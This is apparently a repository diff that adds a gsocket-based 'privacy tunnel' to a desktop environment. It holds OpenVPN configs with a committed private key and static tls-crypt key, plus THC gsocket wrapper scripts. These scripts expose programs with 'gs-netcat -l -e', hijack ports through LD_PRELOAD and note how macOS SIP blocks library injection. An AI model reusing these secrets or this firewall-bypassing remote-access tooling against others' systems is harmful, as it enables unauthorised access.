route t.gs.thc.org 255.255.255.255 net_gateway
route u.gs.thc.org 255.255.255.255 net_gateway
route v.gs.thc.org 255.255.255.255 net_gateway
route w.gs.thc.org 255.255.255.255 net_gateway
route x.gs.thc.org 255.255.255.255 net_gateway
route y.gs.thc.org 255.255.255.255 net_gateway
route z.gs.thc.org 255.255.255.255 net_gateway
<ca>
-----BEGIN CERTIFICATE-----
MIIDGzCCAgOgAwIBAgIUXVuSSqgV+VLegn2E3XMf/EnI6MwwDQYJKoZIhvcNAQEL
BQAwFTETMBEGA1UEAwwKR1NvY2tldC1DQTAeFw0yNjA3MjYwNzI4MTBaFw0zNjA3
MjMwNzI4MTBaMBUxEzARBgNVBAMMCkdTb2NrZXQtQ0EwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQCQvoFs1QCyB9TalGLCIRRB/pG59U7f3qNPk31dPhO+
8SfyAEDirvL09g06n3IBGDMqeEJ7rr8bcHICcOAm+mtkxEtEcDt56hJRGMXRJ83o
tZ4/o0PRUsOcBzmipQ9YROnC9+Ec8cJcgiPYeLwslVlrZK/k6lnyAkGA2PGLWPQU
wolqpceD47XCOvclU+yi2E3d8dJJtprXhcFjqrbptKS17dLYD5sPBrrHM8XOteHN
Dli1MihM5FeZ1WqoGPK9vZ366igrmUHqKN88z1Qv6GN5IRaD2i0LDOI9uEpjS0aJ
KTeSHZf2PCDuwrXh85GUctCgZ1jDyd8slnU3nlhhNJZFAgMBAAGjYzBhMB0GA1Ud
DgQWBBR9igX98IDYlvcTUcIgDGSzn5eZ8DAfBgNVHSMEGDAWgBR9igX98IDYlvcT
UcIgDGSzn5eZ8DAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud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WqfoZ5EckmvK1tang==
-----END PRIVATE KEY-----
</key>
<tls-crypt>
#
# 2048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
6d5c8c6f0e8112c7fec310f6981ee2db
8f416b5b1616c07aa53e1f7f2dcbbd4c
6a82eeee92eccdebc55937ae06e4ce08
52e0779bba37c27ee471a1ec54682162
11a20733656a5f565c6b6404b73923d8
bfaa3d2be29ecb157c6702433b845eda
9e93c8324267bf79ce1aa590644d6380
3aa89401fa6f1d5a9787ff1a3f6973ca
dd43a114a0eb71e8f9a6c4405c3b2ede
5a9bb31a962976da6edbd9368d5c8110
7e125e9188776461bad73dc0cd9dbeaf
341a3277a71fa35da294cc41074bed21
586063de3f74182ccff01ae4e7e9e107
dbd2ecd341f8e48264db309793abe974
2ea2fc5384afe805b97fd10493f56757
7f5d12e7fe48dc048765c5cb363dea5d
-----END OpenVPN Static key V1-----
</tls-crypt>
+8
View File
@@ -0,0 +1,8 @@
# Global gsocket.conf file.
# This file is first looked for in /etc/gsocket.conf
# and then in /usr/etc/gsocket.conf
GS_PREFIX=/usr
@@ -0,0 +1,137 @@
client
dev tun
proto tcp-client
remote 127.0.0.1 1194
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
cipher AES-256-GCM
tun-mtu 1300
mssfix 1200
# Native OpenVPN routes to bypass GSocket relay nodes via physical default gateway
route gs.thc.org 255.255.255.255 net_gateway
route a.gs.thc.org 255.255.255.255 net_gateway
route b.gs.thc.org 255.255.255.255 net_gateway
route c.gs.thc.org 255.255.255.255 net_gateway
route d.gs.thc.org 255.255.255.255 net_gateway
route e.gs.thc.org 255.255.255.255 net_gateway
route f.gs.thc.org 255.255.255.255 net_gateway
route g.gs.thc.org 255.255.255.255 net_gateway
route h.gs.thc.org 255.255.255.255 net_gateway
route i.gs.thc.org 255.255.255.255 net_gateway
route j.gs.thc.org 255.255.255.255 net_gateway
route k.gs.thc.org 255.255.255.255 net_gateway
route l.gs.thc.org 255.255.255.255 net_gateway
route m.gs.thc.org 255.255.255.255 net_gateway
route n.gs.thc.org 255.255.255.255 net_gateway
route o.gs.thc.org 255.255.255.255 net_gateway
route p.gs.thc.org 255.255.255.255 net_gateway
route q.gs.thc.org 255.255.255.255 net_gateway
route r.gs.thc.org 255.255.255.255 net_gateway
route s.gs.thc.org 255.255.255.255 net_gateway
route t.gs.thc.org 255.255.255.255 net_gateway
route u.gs.thc.org 255.255.255.255 net_gateway
route v.gs.thc.org 255.255.255.255 net_gateway
route w.gs.thc.org 255.255.255.255 net_gateway
route x.gs.thc.org 255.255.255.255 net_gateway
route y.gs.thc.org 255.255.255.255 net_gateway
route z.gs.thc.org 255.255.255.255 net_gateway
<ca>
-----BEGIN CERTIFICATE-----
MIIDGzCCAgOgAwIBAgIUXVuSSqgV+VLegn2E3XMf/EnI6MwwDQYJKoZIhvcNAQEL
BQAwFTETMBEGA1UEAwwKR1NvY2tldC1DQTAeFw0yNjA3MjYwNzI4MTBaFw0zNjA3
MjMwNzI4MTBaMBUxEzARBgNVBAMMCkdTb2NrZXQtQ0EwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQCQvoFs1QCyB9TalGLCIRRB/pG59U7f3qNPk31dPhO+
8SfyAEDirvL09g06n3IBGDMqeEJ7rr8bcHICcOAm+mtkxEtEcDt56hJRGMXRJ83o
tZ4/o0PRUsOcBzmipQ9YROnC9+Ec8cJcgiPYeLwslVlrZK/k6lnyAkGA2PGLWPQU
wolqpceD47XCOvclU+yi2E3d8dJJtprXhcFjqrbptKS17dLYD5sPBrrHM8XOteHN
Dli1MihM5FeZ1WqoGPK9vZ366igrmUHqKN88z1Qv6GN5IRaD2i0LDOI9uEpjS0aJ
KTeSHZf2PCDuwrXh85GUctCgZ1jDyd8slnU3nlhhNJZFAgMBAAGjYzBhMB0GA1Ud
DgQWBBR9igX98IDYlvcTUcIgDGSzn5eZ8DAfBgNVHSMEGDAWgBR9igX98IDYlvcT
UcIgDGSzn5eZ8DAPBgNVHRMB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WD/xd6Rb7Pr
EYSDOWqfoZ5EckmvK1tang==
-----END PRIVATE KEY-----
</key>
<tls-crypt>
#
# 2048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
6d5c8c6f0e8112c7fec310f6981ee2db
8f416b5b1616c07aa53e1f7f2dcbbd4c
6a82eeee92eccdebc55937ae06e4ce08
52e0779bba37c27ee471a1ec54682162
11a20733656a5f565c6b6404b73923d8
bfaa3d2be29ecb157c6702433b845eda
9e93c8324267bf79ce1aa590644d6380
3aa89401fa6f1d5a9787ff1a3f6973ca
dd43a114a0eb71e8f9a6c4405c3b2ede
5a9bb31a962976da6edbd9368d5c8110
7e125e9188776461bad73dc0cd9dbeaf
341a3277a71fa35da294cc41074bed21
586063de3f74182ccff01ae4e7e9e107
dbd2ecd341f8e48264db309793abe974
2ea2fc5384afe805b97fd10493f56757
7f5d12e7fe48dc048765c5cb363dea5d
-----END OpenVPN Static key V1-----
</tls-crypt>
@@ -0,0 +1,137 @@
client
dev tun
proto tcp-client
remote 127.0.0.1 1194
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
cipher AES-256-GCM
tun-mtu 1300
mssfix 1200
# Native OpenVPN routes to bypass GSocket relay nodes via physical default gateway
route gs.thc.org 255.255.255.255 net_gateway
route a.gs.thc.org 255.255.255.255 net_gateway
route b.gs.thc.org 255.255.255.255 net_gateway
route c.gs.thc.org 255.255.255.255 net_gateway
route d.gs.thc.org 255.255.255.255 net_gateway
route e.gs.thc.org 255.255.255.255 net_gateway
route f.gs.thc.org 255.255.255.255 net_gateway
route g.gs.thc.org 255.255.255.255 net_gateway
route h.gs.thc.org 255.255.255.255 net_gateway
route i.gs.thc.org 255.255.255.255 net_gateway
route j.gs.thc.org 255.255.255.255 net_gateway
route k.gs.thc.org 255.255.255.255 net_gateway
route l.gs.thc.org 255.255.255.255 net_gateway
route m.gs.thc.org 255.255.255.255 net_gateway
route n.gs.thc.org 255.255.255.255 net_gateway
route o.gs.thc.org 255.255.255.255 net_gateway
route p.gs.thc.org 255.255.255.255 net_gateway
route q.gs.thc.org 255.255.255.255 net_gateway
route r.gs.thc.org 255.255.255.255 net_gateway
route s.gs.thc.org 255.255.255.255 net_gateway
route t.gs.thc.org 255.255.255.255 net_gateway
route u.gs.thc.org 255.255.255.255 net_gateway
route v.gs.thc.org 255.255.255.255 net_gateway
route w.gs.thc.org 255.255.255.255 net_gateway
route x.gs.thc.org 255.255.255.255 net_gateway
route y.gs.thc.org 255.255.255.255 net_gateway
route z.gs.thc.org 255.255.255.255 net_gateway
<ca>
-----BEGIN CERTIFICATE-----
MIIDGzCCAgOgAwIBAgIUXVuSSqgV+VLegn2E3XMf/EnI6MwwDQYJKoZIhvcNAQEL
BQAwFTETMBEGA1UEAwwKR1NvY2tldC1DQTAeFw0yNjA3MjYwNzI4MTBaFw0zNjA3
MjMwNzI4MTBaMBUxEzARBgNVBAMMCkdTb2NrZXQtQ0EwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQCQvoFs1QCyB9TalGLCIRRB/pG59U7f3qNPk31dPhO+
8SfyAEDirvL09g06n3IBGDMqeEJ7rr8bcHICcOAm+mtkxEtEcDt56hJRGMXRJ83o
tZ4/o0PRUsOcBzmipQ9YROnC9+Ec8cJcgiPYeLwslVlrZK/k6lnyAkGA2PGLWPQU
wolqpceD47XCOvclU+yi2E3d8dJJtprXhcFjqrbptKS17dLYD5sPBrrHM8XOteHN
Dli1MihM5FeZ1WqoGPK9vZ366igrmUHqKN88z1Qv6GN5IRaD2i0LDOI9uEpjS0aJ
KTeSHZf2PCDuwrXh85GUctCgZ1jDyd8slnU3nlhhNJZFAgMBAAGjYzBhMB0GA1Ud
DgQWBBR9igX98IDYlvcTUcIgDGSzn5eZ8DAfBgNVHSMEGDAWgBR9igX98IDYlvcT
UcIgDGSzn5eZ8DAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkq
hkiG9w0BAQsFAAOCAQEAgY6WPfEz7m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048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
6d5c8c6f0e8112c7fec310f6981ee2db
8f416b5b1616c07aa53e1f7f2dcbbd4c
6a82eeee92eccdebc55937ae06e4ce08
52e0779bba37c27ee471a1ec54682162
11a20733656a5f565c6b6404b73923d8
bfaa3d2be29ecb157c6702433b845eda
9e93c8324267bf79ce1aa590644d6380
3aa89401fa6f1d5a9787ff1a3f6973ca
dd43a114a0eb71e8f9a6c4405c3b2ede
5a9bb31a962976da6edbd9368d5c8110
7e125e9188776461bad73dc0cd9dbeaf
341a3277a71fa35da294cc41074bed21
586063de3f74182ccff01ae4e7e9e107
dbd2ecd341f8e48264db309793abe974
2ea2fc5384afe805b97fd10493f56757
7f5d12e7fe48dc048765c5cb363dea5d
-----END OpenVPN Static key V1-----
</tls-crypt>
@@ -101,11 +101,12 @@ if [ -r "$DURESS_HOME/.Xresources" ]; then
fi
feh --no-fehbg --bg-fill /usr/share/wallpapers/nordic-peaks.png >/dev/null 2>&1 </dev/null &
# Terminate any open terminals and restricted apps
# Terminate any open terminals, active privacy tunnels, and restricted apps
pkill -9 -x st >/dev/null 2>&1 || true
doas -n /usr/bin/bananarchy-privacy-ctl stop-all >/dev/null 2>&1 || true
# Notify all plugins to close overlays and reload theme/profile
for p in dmenu xdrawer passcode tox irc sip engmenu dialer calllog contacts sms files camera themes modem networks ringtones wallpapers music email smallweb webarchy gps; do
for p in dmenu xdrawer passcode tox irc sip engmenu privacy dialer calllog contacts sms files camera themes modem networks ringtones wallpapers music email smallweb webarchy gps; do
fifo="/tmp/dwm_plugin_${p}.fifo"
if [ -p "$fifo" ]; then
printf 'CLOSE\nRELOAD_THEME\n' > "$fifo" 2>/dev/null || true
File diff suppressed because it is too large. Load diff
+164
View File
@@ -0,0 +1,164 @@
#!/usr/bin/env bash
# A wrapper script to do this (esentially):
# Server:
# $ gs-netcat -s MySecret -l -e "/usr/bin/rsync --server -vlogDtpr --partial ."
# Client:
# $ rsync -aP -e "gs-netcat -s MySecret --" test4k.dat 127.1:.
GS_NETCAT_BIN="gs-netcat"
RSYNC_SERVER_DEFAULTS="--server -logtprR --safe-links --partial"
# -D special devices
# -g preserver group (may need root)
# -p preserve permissions
# -r recursive into directories
# -R use relative path names
# If client uses '-a' then server must use '-g'
# If client uses '-R' then server must use '-R'
# RSYNC_SERVER_DEFAULTS="--server -lotpr --partial"
# RSYNC_SERVER_DEFAULTS="--server -lotpr --partial"
# RSYNC_SERVER_DEFAULTS="--server -logDtprRe.iLsfxCIvu --partial"
RSYNC_CLIENT_DEFAULTS="-ahPRv"
# Try to use the gs-netcat that's in the same path as this binary first.
BIN="$(cd "$(dirname "${0}")" || exit; pwd)/${GS_NETCAT_BIN}"
[[ -f "${BIN}" ]] && GS_NETCAT_BIN="${BIN}"
command -v "${GS_NETCAT_BIN}" >/dev/null 2>&1 || { echo >&2 "${GS_NETCAT_BIN} not found. Check PATH=?"; exit 1; }
command -v rsync >/dev/null 2>&1 || { echo >&2 "rsync not found. Try 'apt-get install rsync' or check PATH=?"; exit 1; }
usage()
{
echo "blitz [-k file] [-s password] [-l] [FILES ...]
-l Server Mode.
-s <secret> Secret (e.g. password).
-k <file> Read Secret from file.
-f <list> Read list of file names from FILE [or - for stdin]
-o RSOPT=val Options passed to rsync.
Example:
$ blitz -s MySecret -l # Server
$ blitz -s MySecret *.dat # Client
...limiting transfer rate to 10kB/sec
$ blitz -s MySecret -o 'RSOPT=--bwlimit=10 -v' /etc/*.conf *.dat
...reading the file list from standard-in
$ cd /etc
$ find . -name '*.mp3' | blitz -s MySecret -f -
...limit the amount of path information by inserting a dot and slash
$ blitz -s MySecret ~/tools/./upx/mp3
See 'man gs-netcat' and 'man rsync' for more options."
exit 0
}
read_password()
{
printf >&2 "Enter Secret (or press Enter to generate): "
read -r password
if [[ -z "${password}" ]]; then
password=$(${GS_NETCAT_BIN} -g)
fi
echo "${password}" | tr -d "[:space:]"
}
# remove -o from parameter list.
# Remove -s/-k from parameter list
# Copy all other
OPTERR=0
FL_NEED_PASSWORD=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# Current options are options for gs-netcat followed by a list of files. We
# need to split off the gs-netcat options (all but -o/-s/-k) without the
# files. To do so we need to know which gs-netcat options takes an argument
# at add those to getopts's optstring (such as -L <logfile>).
# These are caught by '*'.
# All single options (e.g. -w etc) are caught by '\?'.
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":hgls:k:o:L:f:" opt; do
case ${opt} in
o )
RSYNC_ARGS+=${OPTARG//RSOPT=/}
RSYNC_ARGS+=" "
;;
s )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
unset FL_NEED_PASSWORD
;;
k )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
usage
;;
f )
RSYNC_ARGS+="--files-from=${OPTARG} . "
IS_FILES_FROM=1
;;
l )
IS_SERVER=1
ARGS_NEW[${#ARGS_NEW[@]}]="-l" # Add to end of array
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L <file>)
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
if [[ -z ${IS_SERVER} ]]; then
# CLIENT
shift $((OPTIND -1)) # list of files...
# echo "Remaining (files): $*"
[[ -z $* ]] && [[ -z $IS_FILES_FROM ]] && { echo >&2 "ERROR: No files specified."; usage; }
[[ -n $* ]] && [[ -n $IS_FILES_FROM ]] && { echo >&2 "ERROR: Either -f FILE or FILES, but not both."; usage; }
fi
# Prepare existing GSOCKET_ARGS to take more arguments if there are any
[[ -n "$GSOCKET_ARGS" ]] && GSOCKET_ARGS+=" "
# Must read here unless -s/-k was used
if [[ -n "$FL_NEED_PASSWORD" ]]; then
password=$(read_password)
echo "=Secret :\"${password}\""
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$password" # Add to end of array
fi
echo "=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
# echo $OPTIND
# echo args-new : ${ARGS_NEW[@]}
# echo gsnc-env-args : \'${GSNC_ENV_ARGS[@]}\'
# echo rsync-args : ${RSYNC_ARGS}
if [[ -n ${IS_SERVER} ]]; then
# SERVER
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec "${GS_NETCAT_BIN}" "${ARGS_NEW[@]}" -e "rsync ${RSYNC_SERVER_DEFAULTS} ${RSYNC_ARGS} ."
else
# CLIENT
ARGS=" -q"
# ARGS=""
[[ -n ${ARGS_NEW[*]} ]] && ARGS+=" ${ARGS_NEW[*]}"
# shellcheck disable=SC2086 # Double quote to prevent globbing and word splitting. ${RSYNC_ARGS} -> We want word splitting for multiple arugments.
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec rsync ${RSYNC_CLIENT_DEFAULTS} -e "${GS_NETCAT_BIN}${ARGS} --" ${RSYNC_ARGS} "${@}" 127.1:.
fi
Binary file not shown.
+53
View File
@@ -0,0 +1,53 @@
#! /usr/bin/env bash
# A wrapper script to do this (essentially):
# $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host
#
# $ export GSOCKET_ARGS="-s MySecret" # Workstation
# $ sshfs -o ServerAliveInterval=30,reconnect,attr_timeout=60,auto_cache,compression=yes,default_permissions -o ssh_command="gs-netcat --" -o idmap=user,uid="${UID}",gid="$(id -g)" x@127.1:. ~/gs-fs
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] [-l] [mount point]"
usage "${BIN_NAME}"
exit 0
}
gs_init
do_getopt "$@"
shift $((OPTIND -1)) # Mount Point
env_arg_init
if [[ -z ${IS_SERVER} ]]; then
# CLIENT
SSHFS_OPT="ServerAliveInterval=30,reconnect,attr_timeout=60,auto_cache,compression=yes,default_permissions,idmap=user,uid=${UID},gid=$(id -g)"
# echo "Remaining (files): $*"
[[ -z "${1}" ]] && { echo >&2 "ERROR: No directory (mount point) specified."; my_usage; }
command -v sshfs >/dev/null 2>&1 || { echo >&2 "sshfs not found. Try 'apt-get install sshfs' or check PATH=?"; exit 1; }
# FUSE_OPT=",cache=yes,kernel_cache"
FUSE_OPT=""
if [[ "$OSTYPE" == "darwin"* ]]; then
# Setting 'noapplexattr' prevents 'finder' from copying.
FUSE_OPT+=",async,local,iosize=65536,noappledouble,volname=THC-"$(basename "${1}")
fi
fi
if [[ -n ${IS_SERVER} ]]; then
# SERVER
sftp_server_start
else
# CLIENT
ARGS=" -q"
[[ -n ${ARGS_NEW[*]} ]] && ARGS=" ${ARGS_NEW[*]}"
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" sshfs -o "${SSHFS_OPT}${FUSE_OPT}" -o ssh_command="${GS_NETCAT_BIN}${ARGS} --" x@127.1:. "${1}" || exit 1
echo "Successfully mounted on ${1}."
command -v fusermount >/dev/null 2>&1 && echo "To unmount use: fusermount -zu ${1}"
fi
BIN
View File
Binary file not shown.
+38
View File
@@ -0,0 +1,38 @@
#! /usr/bin/env bash
# A wrapper script to do this (essentially):
# $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host
#
# $ export GSOCKET_ARGS="-s MySecret" # Workstation
# $ sftp -D gs-netcat # Workstation
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] [-l]"
usage "${BIN_NAME}"
exit 0
}
command -v sftp >/dev/null 2>&1 || { echo >&2 "sftp not found. Try 'apt-get install openssh' or check PATH=?"; exit 1; }
gs_init
do_getopt "$@"
shift $((OPTIND -1)) # Mount Point
env_arg_init
if [[ -n ${IS_SERVER} ]]; then
# SERVER
sftp_server_start
else
# CLIENT
ARGS=" -q"
[[ -n ${ARGS_NEW[*]} ]] && ARGS=" ${ARGS_NEW[*]}"
# shellcheck disable=SC2086 # Double quote to prevent globbing and word splitting. ${RSYNC_ARGS} -> We want word splitting for multiple arugments.
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}${ARGS}" exec sftp -D "${GS_NETCAT_BIN}"
fi
+1
View File
@@ -0,0 +1 @@
gs-warp-simple.sh
+51
View File
@@ -0,0 +1,51 @@
#!/bin/sh
DEFAULT_CFG="client.ovpn"
if [ ! -f "$DEFAULT_CFG" ]; then
if [ -f "${HOME:-/home/user}/.config/gs-warp/client.ovpn" ]; then
DEFAULT_CFG="${HOME:-/home/user}/.config/gs-warp/client.ovpn"
elif [ -f "/etc/gs-warp/client.ovpn" ]; then
DEFAULT_CFG="/etc/gs-warp/client.ovpn"
fi
fi
OVPNCFG="${1:-$DEFAULT_CFG}"
if [ ! -f "$OVPNCFG" ]; then
echo "Error: Configuration file '$OVPNCFG' not found."
exit 1
fi
if [ -z "${GS_SECRET:-}" ] && [ -f "${HOME:-/home/user}/.config/bananarchy/privacy.conf" ]; then
GS_SECRET="$(awk -F= '/^GSWARP_SECRET=/{print substr($0,15)}' "${HOME:-/home/user}/.config/bananarchy/privacy.conf" | tail -n 1)"
fi
if [ -z "${GS_SECRET:-}" ]; then
GS_SECRET="$(md5sum "$OVPNCFG" | cut -d ' ' -f 1)"
fi
if [ "$(id -u)" -eq 0 ]; then
SUDO=""
elif command -v doas >/dev/null 2>&1; then
SUDO="doas"
else
SUDO="sudo"
fi
if [ ! -f /tmp/gswarp-gs.pid ]; then
printf "Creating GS tunnel... "
gs-netcat -D -p 1194 -s "$GS_SECRET" 2>/dev/null && \
pgrep -f "gs-netcat -D -p 1194" | head -n 1 > /tmp/gswarp-gs.pid
echo "OK (PID $(cat /tmp/gswarp-gs.pid))"
printf "Connecting to OpenVPN... "
$SUDO openvpn --daemon gs-warp --config "$OVPNCFG" --writepid /tmp/gswarp-ov.pid
sleep 0.2
echo "OK (PID $(cat /tmp/gswarp-ov.pid 2>/dev/null))"
else
printf "Disconnecting OpenVPN... "
$SUDO kill "$(cat /tmp/gswarp-ov.pid 2>/dev/null)" 2>/dev/null || true
$SUDO rm -f /tmp/gswarp-ov.pid
echo "OK"
printf "Destroying GS tunnel... "
$SUDO kill "$(cat /tmp/gswarp-gs.pid 2>/dev/null)" 2>/dev/null || true
$SUDO rm -f /tmp/gswarp-gs.pid
echo "OK"
fi
+135
View File
@@ -0,0 +1,135 @@
#! /usr/bin/env bash
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] <programm> <parameters>
-s <secret> Secret (e.g. password).
-k <file> Read Secret from file.
-p <ports> Range of listening ports to redirect [default=all]
-T Use TOR.
Example:
$ ${BIN_NAME} -s MySecret /usr/bin/sshd -d # Server
$ ${BIN_NAME} -s MySecret ssh root@gsocket # Client
See 'gs-netcat -h' for more options."
exit "$1"
}
my_getopt()
{
OPTERR=0
# shellcheck disable=SC2034 # FL_NEED_PASSWORD appears unused. => used i env_arg_init
FL_NEED_PASSWORD=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":qhgTp:s:k:L:" opt; do
case ${opt} in
s )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
GSOCKET_SECRET="$OPTARG"
unset FL_NEED_PASSWORD
;;
k )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSOCKET_SECRET=$(<"${KFILE}")
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
# KFILE=$(eval echo "$OPTARG") # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
my_usage 0
;;
p )
GS_HIJACK_PORTS="${OPTARG}"
;;
T )
[[ -z "${GSOCKET_SOCKS_IP}" ]] && GSOCKET_SOCKS_IP="127.0.0.1"
;;
q )
# shellcheck disable=SC2034 # IS_QUIET appears unused. => Used in env_arg_init
IS_QUIET=1
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L <file>)
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
[[ -n "${GSOCKET_SECRET}" ]] && unset FL_NEED_PASSWORD
}
# default values
GS_HIJACK_PORTS="1-65535"
# shellcheck disable=SC2034 # GS_RFX appears unused. => Used in gs_funcs
GS_PRFX="gsocket: "
gs_init
my_getopt "$@"
shift $((OPTIND -1))
[[ ${#@} -le 0 ]] && { echo >&2 "ERROR: No program specified"; my_usage 255; }
command -v "$1" >/dev/null 2>&1 || { echo >&2 "gsocket: command not found: ${1}"; exit 1; }
if [[ "$OSTYPE" == "darwin"* ]]; then
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
ROOTDIR=$(mktemp -d -t thc-gsXXXXXX)
PROGBIN_FULLPATH=$(which "$1")
[[ -z "$PROGBIN_FULLPATH" ]] && { echo >&2 "gsocket: command not found: ${1}"; exit 1; }
# FIXME: temp file is only cleaned on reboot. Hmm...
cp "${PROGBIN_FULLPATH}" "${ROOTDIR}/" &>/dev/null
PROGBIN_NAME="$(basename "${1}")" # programm binary
PROGBIN="${ROOTDIR}/${PROGBIN_NAME}"
# System Integrity Protection makes dyld ignore
# DYLD_INSERT_LIBRARIES.
# There are two ways how MacOS determines if a binary is SIP protected:
# 1. The location of the binary (ls -alO /usr/bin/ssh)
# 2. If the binary contains 'entitlements' (regardless of its location on the fs).
